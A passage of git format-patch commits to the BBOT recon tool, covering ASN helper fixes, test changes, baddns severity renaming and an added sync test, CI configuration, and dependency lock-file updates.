bbdf7fbf9004960130d171e850c3b8bdc8880047 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 14:16:56 -0400 Subject: [PATCH 327/912] Default as_completed max_concurrent to 20 --- bbot/core/helpers/misc.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 4c095187e4..6c5211762c 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2599,7 +2599,7 @@ def parse_port_string(port_string): async def as_completed( coroutines: Iterable[Awaitable], - max_concurrent: Optional[int] = None, + max_concurrent: Optional[int] = 20, ): """ Yield completed coroutines as they finish with optional concurrency limiting. From 4674f754f870b50fe0162d29173fc013cfef9526 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 14:25:16 -0400 Subject: [PATCH 328/912] Remove mock from unknown ASN test, use private IP instead --- .../module_tests/test_module_asn.py | 19 +++++-------------- 1 file changed, 5 insertions(+), 14 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index ff1212fdf8..1f74b776ce 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -16,24 +16,15 @@ def check(self, module_test, events): class TestASNUnknownHandling(ModuleTestBase): - """Test ASN module behavior when asndb returns unknown ASN.""" + """Test that no ASN events are emitted for private IPs (unknown ASN).""" - targets = ["8.8.8.8"] + targets = ["192.168.1.1"] module_name = "asn" - modules_overrides = ["asn"] - config_overrides = {"scope": {"report_distance": 2}} - - async def setup_after_prep(self, module_test): - from unittest.mock import AsyncMock - from bbot.core.helpers.asn import ASNHelper - - asn_helper = module_test.scan.helpers.asn - asn_helper._client = AsyncMock() - asn_helper._client.lookup_ip = AsyncMock(return_value=ASNHelper.UNKNOWN_ASN) + modules_overrides = ["asn", "speculate"] + config_overrides = {"scope": {"report_distance": 2}, "speculate": True} def check(self, module_test, events): - # When asndb returns unknown, NO ASN events should be emitted since ASN 0 is reserved asn_events = [e for e in events if e.type == "ASN"] assert not asn_events, ( - f"Should not emit any ASN events for unknown ASN data, but found: {[e.data for e in asn_events]}" + f"Should not emit any ASN events for private IP, but found: {[e.data for e in asn_events]}" ) From cb86351598b13cba6456a1afdcfe4e0ac5765df0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 14:32:07 -0400 Subject: [PATCH 329/912] ruff format conftest.py --- bbot/test/conftest.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/bbot/test/conftest.py b/bbot/test/conftest.py index 4cffa18a85..ac4ef7b8b2 100644 --- a/bbot/test/conftest.py +++ b/bbot/test/conftest.py @@ -94,7 +94,10 @@ def bbot_httpserver_ssl(): def should_mock(request): - return request.url.host not in ["127.0.0.1", "localhost", "raw.githubusercontent.com", "asndb.api.bbot.io"] + interactsh_servers + return ( + request.url.host + not in ["127.0.0.1", "localhost", "raw.githubusercontent.com", "asndb.api.bbot.io"] + interactsh_servers + ) def pytest_collection_modifyitems(config, items): From 7470af1943b9787d07f68fb3690ff8ddc8978ee8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 16:29:13 -0400 Subject: [PATCH 330/912] ruff format baddns_direct.py --- bbot/modules/baddns_direct.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index d5322e315e..3106beff19 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -45,9 +45,7 @@ async def handle_event(self, event): confidence = r_dict["confidence"] if not self._meets_threshold(severity, confidence): - self.debug( - f"Skipping result below threshold (severity={severity}, confidence={confidence})" - ) + self.debug(f"Skipping result below threshold (severity={severity}, confidence={confidence})") continue data = { From 35efd1a642015b25678d37b78b0166156ad5b1e5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 20 Mar 2026 16:29:13 -0400 Subject: [PATCH 331/912] ruff format baddns_direct.py --- bbot/modules/baddns_direct.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index d5322e315e..3106beff19 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -45,9 +45,7 @@ async def handle_event(self, event): confidence = r_dict["confidence"] if not self._meets_threshold(severity, confidence): - self.debug( - f"Skipping result below threshold (severity={severity}, confidence={confidence})" - ) + self.debug(f"Skipping result below threshold (severity={severity}, confidence={confidence})") continue data = { From 101b8fbfbb2914c2ac86e3e643bba9c7ddacbea0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 21 Mar 2026 13:27:38 -0400 Subject: [PATCH 332/912] Pass BBOT_IO_API_KEY to test runner for asndb API access --- .github/workflows/tests.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index c3eadd4414..81dba55baf 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -35,6 +35,8 @@ jobs: uv run ruff check uv run ruff format --check - name: Run tests + env: + BBOT_IO_API_KEY: ${{ secrets.BBOT_IO_API_KEY }} run: | uv run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . - name: Upload Debug Logs From daf0e06ee7b328c0c357e2f8ab0f40ea6939e8b0 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 21 Mar 2026 13:27:38 -0400 Subject: [PATCH 333/912] Pass BBOT_IO_API_KEY to test runner for asndb API access --- .github/workflows/tests.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml index c3eadd4414..81dba55baf 100644 --- a/.github/workflows/tests.yml +++ b/.github/workflows/tests.yml @@ -35,6 +35,8 @@ jobs: uv run ruff check uv run ruff format --check - name: Run tests + env: + BBOT_IO_API_KEY: ${{ secrets.BBOT_IO_API_KEY }} run: | uv run pytest -vv --reruns 2 -o timeout_func_only=true --timeout 1200 --disable-warnings --log-cli-level=INFO --cov-config=bbot/test/coverage.cfg --cov-report xml:cov.xml --cov=bbot . - name: Upload Debug Logs From 9fb13f282612bedfd19d4969463a8489fe8f5822 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 21 Mar 2026 23:21:03 -0400 Subject: [PATCH 334/912] Fix asndb singleton not being reset after cleanup Reset the global asndb_client after cleanup so subsequent ASNDB() calls create a fresh client instead of returning a closed one. --- bbot/core/helpers/asn.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 4012742010..63cc31df12 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -74,3 +74,9 @@ async def cleanup(self): await self._client.cleanup() except Exception: pass + self._client = None + # Reset the asndb global singleton so the next ASNDB() call + # creates a fresh client instead of returning the closed one + import asndb.asndb + + asndb.asndb.asndb_client = None From 8b5804eef119cd9666a07ec53377e4a12a81fb81 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 21 Mar 2026 23:21:03 -0400 Subject: [PATCH 335/912] Fix asndb singleton not being reset after cleanup Reset the global asndb_client after cleanup so subsequent ASNDB() calls create a fresh client instead of returning a closed one. --- bbot/core/helpers/asn.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 4012742010..63cc31df12 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -74,3 +74,9 @@ async def cleanup(self): await self._client.cleanup() except Exception: pass + self._client = None + # Reset the asndb global singleton so the next ASNDB() call + # creates a fresh client instead of returning the closed one + import asndb.asndb + + asndb.asndb.asndb_client = None From 7db8704d21bb017e172356a7dc889f1ec9856c78 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sat, 21 Mar 2026 23:58:35 -0400 Subject: [PATCH 336/912] Fix asndb singleton being permanently closed by ASN seed expansion --- bbot/core/event/helpers.py | 23 ++++++++++------------- bbot/core/helpers/asn.py | 6 ++++++ 2 files changed, 16 insertions(+), 13 deletions(-) diff --git a/bbot/core/event/helpers.py b/bbot/core/event/helpers.py index ee0ba63e10..b6ead990cb 100644 --- a/bbot/core/event/helpers.py +++ b/bbot/core/event/helpers.py @@ -292,19 +292,16 @@ async def _generate_children(self): from asndb import ASNDB client = ASNDB() - try: - asn_data = await client.lookup_asn(str(self.data), include_subnets=True) - children = [] - if asn_data: - subnets = asn_data.get("subnets") - if isinstance(subnets, str): - subnets = [subnets] - if subnets: - for cidr in subnets: - children.append(cidr) - return children - finally: - await client.cleanup() + asn_data = await client.lookup_asn(str(self.data), include_subnets=True) + children = [] + if asn_data: + subnets = asn_data.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if subnets: + for cidr in subnets: + children.append(cidr) + return children @staticmethod def handle_match(match): diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index 4012742010..63cc31df12 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -74,3 +74,9 @@ async def cleanup(self): await self._client.cleanup() except Exception: pass + self._client = None + # Reset the asndb global singleton so the next ASNDB() call + # creates a fresh client instead of returning the closed one + import asndb.asndb + + asndb.asndb.asndb_client = None From 6f095803c9dae1ee0cc3897ec6105509a9423003 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Sun, 22 Mar 2026 17:10:16 -0400 Subject: [PATCH 337/912] Fix severity levels to use INFO, add AST test for baddns max severity/confidence sync, add baddns dev dep --- bbot/modules/baddns.py | 26 +++- bbot/modules/baddns_direct.py | 2 +- bbot/modules/baddns_zone.py | 4 +- .../module_tests/test_module_baddns.py | 140 ++++++++++++++++++ pyproject.toml | 3 + uv.lock | 78 ++++++++++ 6 files changed, 244 insertions(+), 9 deletions(-) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index df4cf1a040..5b142f9043 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -4,7 +4,7 @@ import logging -SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") +SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL") CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") SUBMODULE_MAX_SEVERITY = { @@ -13,9 +13,9 @@ "MX": "MEDIUM", "TXT": "LOW", "references": "MEDIUM", - "NSEC": "INFORMATIONAL", - "zonetransfer": "INFORMATIONAL", - "DMARC": "INFORMATIONAL", + "NSEC": "INFO", + "zonetransfer": "INFO", + "DMARC": "INFO", "SPF": "MEDIUM", "MTA-STS": "HIGH", "WILDCARD": "HIGH", @@ -48,7 +48,7 @@ class baddns(BaseModule): options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE", "enabled_submodules": []} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", "enabled_submodules": "A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", } @@ -130,11 +130,25 @@ async def _run_module(self, module_instance): self.warning(f"Task for {module_instance} raised an error: {e}") return module_instance, None + def _new_http_client(self, *args, **kwargs): + """Create a non-cached HTTP client for baddns submodules. + + baddns submodules close their HTTP clients during cleanup, so we can't + use the caching ``web.AsyncClient`` factory — that would let one + submodule close a client that another submodule is still using. + + TODO: revisit this when we switch to blasthttp — the caching/lifecycle + model will be different and this workaround may no longer be needed. + """ + from bbot.core.helpers.web.client import BBOTAsyncClient + + return BBOTAsyncClient.from_config(self.scan.config, self.scan.target, *args, persist_cookies=False, **kwargs) + async def handle_event(self, event): coroutines = [] for ModuleClass in self.select_modules(): kwargs = { - "http_client_class": self.scan.helpers.web.AsyncClient, + "http_client_class": self._new_http_client, "dns_client": self.scan.helpers.dns.resolver, "custom_nameservers": self.custom_nameservers, "signatures": self.signatures, diff --git a/bbot/modules/baddns_direct.py b/bbot/modules/baddns_direct.py index 3106beff19..0eac0f9d14 100644 --- a/bbot/modules/baddns_direct.py +++ b/bbot/modules/baddns_direct.py @@ -13,7 +13,7 @@ class baddns_direct(baddns_module): options = {"custom_nameservers": [], "min_severity": "LOW", "min_confidence": "MODERATE"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", } module_threads = 8 diff --git a/bbot/modules/baddns_zone.py b/bbot/modules/baddns_zone.py index d51d10ef4f..c948135efb 100644 --- a/bbot/modules/baddns_zone.py +++ b/bbot/modules/baddns_zone.py @@ -10,10 +10,10 @@ class baddns_zone(baddns_module): "created_date": "2024-01-29", "author": "@liquidsec", } - options = {"custom_nameservers": [], "min_severity": "INFORMATIONAL", "min_confidence": "MODERATE"} + options = {"custom_nameservers": [], "min_severity": "INFO", "min_confidence": "MODERATE"} options_desc = { "custom_nameservers": "Force BadDNS to use a list of custom nameservers", - "min_severity": "Minimum severity to emit (INFORMATIONAL, LOW, MEDIUM, HIGH, CRITICAL)", + "min_severity": "Minimum severity to emit (INFO, LOW, MEDIUM, HIGH, CRITICAL)", "min_confidence": "Minimum confidence to emit (UNKNOWN, LOW, MODERATE, HIGH, CONFIRMED)", } module_threads = 8 diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns.py b/bbot/test/test_step_2/module_tests/test_module_baddns.py index 2d5d476d05..47d38d989b 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns.py @@ -1,6 +1,146 @@ +import ast +import inspect + +from baddns.base import get_all_modules +from baddns.lib.findings import SEVERITY_LEVELS, CONFIDENCE_LEVELS + +from bbot.modules.baddns import SUBMODULE_MAX_SEVERITY, SUBMODULE_MAX_CONFIDENCE + from .base import ModuleTestBase +def _extract_finding_values(module_cls): + """ + AST-parse a baddns submodule and extract all string-literal severity + and confidence values from Finding() constructor calls. + + Returns (set of severity strings, set of confidence strings). + """ + source = inspect.getsource(module_cls) + tree = ast.parse(source) + + severities = set() + confidences = set() + + for node in ast.walk(tree): + # Look for Finding({...}) calls + if not isinstance(node, ast.Call): + continue + func = node.func + if not (isinstance(func, ast.Name) and func.id == "Finding"): + continue + if not node.args: + continue + arg = node.args[0] + if not isinstance(arg, ast.Dict): + continue + for key, value in zip(arg.keys, arg.values): + if not isinstance(key, ast.Constant): + continue + if key.value == "severity" and isinstance(value, ast.Constant) and isinstance(value.value, str): + severities.add(value.value) + if key.value == "confidence" and isinstance(value, ast.Constant) and isinstance(value.value, str): + confidences.add(value.value) + + return severities, confidences + + +def _max_level(values, levels): + """Return the highest value from `values` according to the ordering in `levels`.""" + if not values: + return None + # levels is ordered high-to-low in baddns (CRITICAL, HIGH, MEDIUM, LOW, INFO) + for level in levels: + if level in values: + return level + return None + + +# Modules that wrap CNAME findings and may use variables for severity/confidence. +# When a field uses a variable instead of a literal, its max is bounded by +# CNAME's max for that field. +CNAME_DERIVED_MODULES = {"references", "txt", "wildcard", "mtasts"} + + +def test_baddns_max_severity_confidence(): + """ + Ensure SUBMODULE_MAX_SEVERITY and SUBMODULE_MAX_CONFIDENCE in the BBOT + baddns module match what the baddns library's source code actually contains. + """ + all_modules = {cls.name: cls for cls in get_all_modules()} + + # First, compute CNAME's maxes since other modules derive from it + cname_cls = all_modules.get("CNAME") + assert cname_cls is not None, "CNAME module not found in baddns" + cname_sevs, cname_confs = _extract_finding_values(cname_cls) + cname_max_sev = _max_level(cname_sevs, SEVERITY_LEVELS) + cname_max_conf = _max_level(cname_confs, CONFIDENCE_LEVELS) + + errors = [] + + for name, cls in all_modules.items(): + sevs, confs = _extract_finding_values(cls) + + # For CNAME-derived modules, if no literal severity/confidence was found, + # the values are inherited from CNAME findings + if ( + name.lower() in CNAME_DERIVED_MODULES + or cls.__name__.lower().replace("baddns_", "") in CNAME_DERIVED_MODULES + ): + if not sevs and cname_max_sev: + sevs = {cname_max_sev} + if not confs and cname_max_conf: + confs = {cname_max_conf} + + actual_max_sev = _max_level(sevs, SEVERITY_LEVELS) + actual_max_conf = _max_level(confs, CONFIDENCE_LEVELS) + + expected_sev = SUBMODULE_MAX_SEVERITY.get(name) + expected_conf = SUBMODULE_MAX_CONFIDENCE.get(name) + + if expected_sev is None and expected_conf is None: + errors.append(f"Module [{name}] is missing from both SUBMODULE_MAX_SEVERITY and SUBMODULE_MAX_CONFIDENCE") + continue + + if expected_sev != actual_max_sev: + errors.append( + f"Module [{name}] max_severity mismatch: BBOT says {expected_sev}, baddns source says {actual_max_sev}" + ) + if expected_conf != actual_max_conf: + errors.append( + f"Module [{name}] max_confidence mismatch: BBOT says {expected_conf}, baddns source says {actual_max_conf}" + ) + + assert not errors, "BBOT baddns max severity/confidence out of sync with baddns library:\n" + "\n".join(errors) + + +def test_baddns_submodule_coverage(): + """ + Ensure every baddns submodule is represented in both SUBMODULE_MAX dicts, + and no stale entries exist for modules that were removed. + """ + all_module_names = {cls.name for cls in get_all_modules()} + severity_names = set(SUBMODULE_MAX_SEVERITY.keys()) + confidence_names = set(SUBMODULE_MAX_CONFIDENCE.keys()) + + missing_severity = all_module_names - severity_names + missing_confidence = all_module_names - confidence_names + stale_severity = severity_names - all_module_names + stale_confidence = confidence_names - all_module_names + + errors = [] + if missing_severity: + errors.append(f"Modules missing from SUBMODULE_MAX_SEVERITY: {missing_severity}") + if missing_confidence: + errors.append(f"Modules missing from SUBMODULE_MAX_CONFIDENCE: {missing_confidence}") + if stale_severity: + errors.append(f"Stale entries in SUBMODULE_MAX_SEVERITY (module removed from baddns): {stale_severity}") + if stale_confidence: + errors.append(f"Stale entries in SUBMODULE_MAX_CONFIDENCE (module removed from baddns): {stale_confidence}") + + assert not errors, "\n".join(errors) + + class BaseTestBaddns(ModuleTestBase): modules_overrides = ["baddns"] targets = ["bad.dns"] diff --git a/pyproject.toml b/pyproject.toml index 4ac757167f..b95d56049c 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -48,6 +48,8 @@ dependencies = [ "ansible-core>=2.17,<3", "tldextract>=5.3.0,<6", "cloudcheck>=9.2.0,<10", + "kreuzberg>=4.3,<5", + "pypdfium2>=5.0,<6", ] [project.urls] @@ -77,6 +79,7 @@ dev = [ "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", "ruff==0.15.2", + "baddns~=2.0.0", ] docs = [ "mkdocs>=1.5.2,<2", diff --git a/uv.lock b/uv.lock index 5601ab7479..d6a27e7f21 100644 --- a/uv.lock +++ b/uv.lock @@ -164,6 +164,25 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/02/e3/a4fa1946722c4c7b063cc25043a12d9ce9b4323777f89643be74cef2993c/backrefs-6.1-py39-none-any.whl", hash = "sha256:a9e99b8a4867852cad177a6430e31b0f6e495d65f8c6c134b68c14c3c95bf4b0", size = 381058, upload-time = "2025-11-15T14:52:06.698Z" }, ] +[[package]] +name = "baddns" +version = "2.0.452" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cloudcheck" }, + { name = "colorama" }, + { name = "dnspython" }, + { name = "httpx" }, + { name = "python-dateutil" }, + { name = "python-whois" }, + { name = "pyyaml" }, + { name = "tldextract" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/77/32/1d82b8781bd9285fabb4a03f342bfc8e27f219665af5dd184fc97bf9694a/baddns-2.0.452.tar.gz", hash = "sha256:193e3ff866986ddb626ec563991c3ea760985ca74f7ed59c0f3770c9f5543d9d", size = 61143, upload-time = "2026-03-20T18:39:14.505Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d6/cb/7ed49be7f8802adfcb57710548ed28239d899eaf5db7a49e57df8600385f/baddns-2.0.452-py3-none-any.whl", hash = "sha256:54e38e2b661de981f95454abea8b17a6bb3d1d5ff1e046738c319cfd7cfc018d", size = 117120, upload-time = "2026-03-20T18:39:13.376Z" }, +] + [[package]] name = "bbot" source = { editable = "." } @@ -181,6 +200,7 @@ dependencies = [ { name = "httpx" }, { name = "idna" }, { name = "jinja2" }, + { name = "kreuzberg" }, { name = "lxml" }, { name = "mmh3" }, { name = "omegaconf" }, @@ -190,6 +210,7 @@ dependencies = [ { name = "pycryptodome" }, { name = "pydantic" }, { name = "pyjwt" }, + { name = "pypdfium2" }, { name = "pyzmq" }, { name = "radixtarget" }, { name = "regex" }, @@ -207,6 +228,7 @@ dependencies = [ [package.dev-dependencies] dev = [ + { name = "baddns" }, { name = "fastapi" }, { name = "pre-commit" }, { name = "pytest" }, @@ -249,6 +271,7 @@ requires-dist = [ { name = "httpx", specifier = ">=0.28.1,<1" }, { name = "idna", specifier = ">=3.4,<4" }, { name = "jinja2", specifier = ">=3.1.3,<4" }, + { name = "kreuzberg", specifier = ">=4.3,<5" }, { name = "lxml", specifier = ">=4.9.2,<7.0.0" }, { name = "mmh3", specifier = ">=4.1,<6.0" }, { name = "omegaconf", specifier = ">=2.3.0,<3" }, @@ -258,6 +281,7 @@ requires-dist = [ { name = "pycryptodome", specifier = ">=3.17,<4" }, { name = "pydantic", specifier = ">=2.12.2,<3" }, { name = "pyjwt", specifier = ">=2.7.0,<3" }, + { name = "pypdfium2", specifier = ">=5.0,<6" }, { name = "pyzmq", specifier = ">=26.0.3,<28.0.0" }, { name = "radixtarget", specifier = ">=4.0.1,<5" }, { name = "regex", specifier = ">=2024.4.16,<2027.0.0" }, @@ -275,6 +299,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [ + { name = "baddns", specifier = "~=2.0.0" }, { name = "fastapi", specifier = ">=0.115.5,<0.129.0" }, { name = "pre-commit", specifier = ">=3.4,<5.0" }, { name = "pytest", specifier = ">=8.3.1,<9" }, @@ -993,6 +1018,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, ] +[[package]] +name = "kreuzberg" +version = "4.5.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/eb/99/e2b94a0ceece484390b6ec3888f505ecc889d1366dbf7d8bbf7dedd11e67/kreuzberg-4.5.2.tar.gz", hash = "sha256:d7f30f5699ef953acbbd32f228eaf938e850b7f0a767d671faad29e18d4fc9f2", size = 2000056, upload-time = "2026-03-21T23:40:37.87Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/2d/3d50764bd70d3adc6ea3e2daa5ce3eb46e359d7624e6aef0727384be5e60/kreuzberg-4.5.2-cp310-abi3-macosx_14_0_arm64.whl", hash = "sha256:d0b596b8371cdc654cf988dbdf9c129a45f76c00a52e0181fde770cbc39dbbf9", size = 49133340, upload-time = "2026-03-21T23:40:25.239Z" }, + { url = "https://files.pythonhosted.org/packages/16/f9/2b8994b855f717a2ea5a73a3ff7059b83dca98ce4dc5ff086024533eb3e4/kreuzberg-4.5.2-cp310-abi3-manylinux_2_39_aarch64.whl", hash = "sha256:e0b7c8822ca7a19c57f53eb76fc4a4481a4c4bcace917ea0a8556848c1b97bee", size = 57139635, upload-time = "2026-03-21T23:40:28.417Z" }, + { url = "https://files.pythonhosted.org/packages/56/06/2d1d2f9f8f586076d6b20239f7180cfa181b9868d64057f5b19a66ddb59e/kreuzberg-4.5.2-cp310-abi3-manylinux_2_39_x86_64.whl", hash = "sha256:10856a2cfc480a31dfeebf1c9c6b514f765f90566ff818d01e910ec8052ece37", size = 56747977, upload-time = "2026-03-21T23:40:31.618Z" }, + { url = "https://files.pythonhosted.org/packages/4b/33/2714045420ebbcd2c7a743b3b4d0bc529e00c92bbd0fe727e7cae0df891f/kreuzberg-4.5.2-cp310-abi3-win_amd64.whl", hash = "sha256:5f158326504d94a7d26ebb8f10f673cee9556fb238009842a86b3ff723867465", size = 56455168, upload-time = "2026-03-21T23:40:35.197Z" }, +] + [[package]] name = "libsass" version = "0.23.0" @@ -1992,6 +2029,35 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/10/bd/c038d7cc38edc1aa5bf91ab8068b63d4308c66c4c8bb3cbba7dfbc049f9c/pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d", size = 122781, upload-time = "2026-01-21T03:57:55.912Z" }, ] +[[package]] +name = "pypdfium2" +version = "5.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/3b/01/be763b9081c7eb823196e7d13d9c145bf75ac43f3c1466de81c21c24b381/pypdfium2-5.6.0.tar.gz", hash = "sha256:bcb9368acfe3547054698abbdae68ba0cbd2d3bda8e8ee437e061deef061976d", size = 270714, upload-time = "2026-03-08T01:05:06.5Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9d/b1/129ed0177521a93a892f8a6a215dd3260093e30e77ef7035004bb8af7b6c/pypdfium2-5.6.0-py3-none-android_23_arm64_v8a.whl", hash = "sha256:fb7858c9707708555b4a719b5548a6e7f5d26bc82aef55ae4eb085d7a2190b11", size = 3346059, upload-time = "2026-03-08T01:04:21.37Z" }, + { url = "https://files.pythonhosted.org/packages/86/34/cbdece6886012180a7f2c7b2c360c415cf5e1f83f1973d2c9201dae3506a/pypdfium2-5.6.0-py3-none-android_23_armeabi_v7a.whl", hash = "sha256:6a7e1f4597317786f994bfb947eef480e53933f804a990193ab89eef8243f805", size = 2804418, upload-time = "2026-03-08T01:04:23.384Z" }, + { url = "https://files.pythonhosted.org/packages/6e/f6/9f9e190fe0e5a6b86b82f83bd8b5d3490348766062381140ca5cad8e00b1/pypdfium2-5.6.0-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e468c38997573f0e86f03273c2c1fbdea999de52ba43fee96acaa2f6b2ad35f7", size = 3412541, upload-time = "2026-03-08T01:04:25.45Z" }, + { url = "https://files.pythonhosted.org/packages/ee/8d/e57492cb2228ba56ed57de1ff044c8ac114b46905f8b1445c33299ba0488/pypdfium2-5.6.0-py3-none-macosx_11_0_x86_64.whl", hash = "sha256:ad3abddc5805424f962e383253ccad6a0d1d2ebd86afa9a9e1b9ca659773cd0d", size = 3592320, upload-time = "2026-03-08T01:04:27.509Z" }, + { url = "https://files.pythonhosted.org/packages/f9/8a/8ab82e33e9c551494cbe1526ea250ca8cc4e9e98d6a4fc6b6f8d959aa1d1/pypdfium2-5.6.0-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f6b5eb9eae5c45076395454522ca26add72ba8bd1fe473e1e4721aa58521470c", size = 3596450, upload-time = "2026-03-08T01:04:29.183Z" }, + { url = "https://files.pythonhosted.org/packages/f5/b5/602a792282312ccb158cc63849528079d94b0a11efdc61f2a359edfb41e9/pypdfium2-5.6.0-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:258624da8ef45cdc426e11b33e9d83f9fb723c1c201c6e0f4ab5a85966c6b876", size = 3325442, upload-time = "2026-03-08T01:04:30.886Z" }, + { url = "https://files.pythonhosted.org/packages/81/1f/9e48ec05ed8d19d736c2d1f23c1bd0f20673f02ef846a2576c69e237f15d/pypdfium2-5.6.0-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9367451c8a00931d6612db0822525a18c06f649d562cd323a719e46ac19c9bb", size = 3727434, upload-time = "2026-03-08T01:04:33.619Z" }, + { url = "https://files.pythonhosted.org/packages/33/90/0efd020928b4edbd65f4f3c2af0c84e20b43a3ada8fa6d04f999a97afe7a/pypdfium2-5.6.0-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a757869f891eac1cc1372e38a4aa01adac8abc8fe2a8a4e2ebf50595e3bf5937", size = 4139029, upload-time = "2026-03-08T01:04:36.08Z" }, + { url = "https://files.pythonhosted.org/packages/ff/49/a640b288a48dab1752281dd9b72c0679fccea107874e80a65a606b00efa9/pypdfium2-5.6.0-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:515be355222cc57ae9e62cd5c7c350b8e0c863efc539f80c7d75e2811ba45cb6", size = 3646387, upload-time = "2026-03-08T01:04:38.151Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/a344c19c01021eeb5d830c102e4fc9b1602f19c04aa7d11abbe2d188fd8e/pypdfium2-5.6.0-py3-none-manylinux_2_27_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d1c4753c7caf7d004211d7f57a21f10d127f5e0e5510a14d24bc073e7220a3ea", size = 3097212, upload-time = "2026-03-08T01:04:40.776Z" }, + { url = 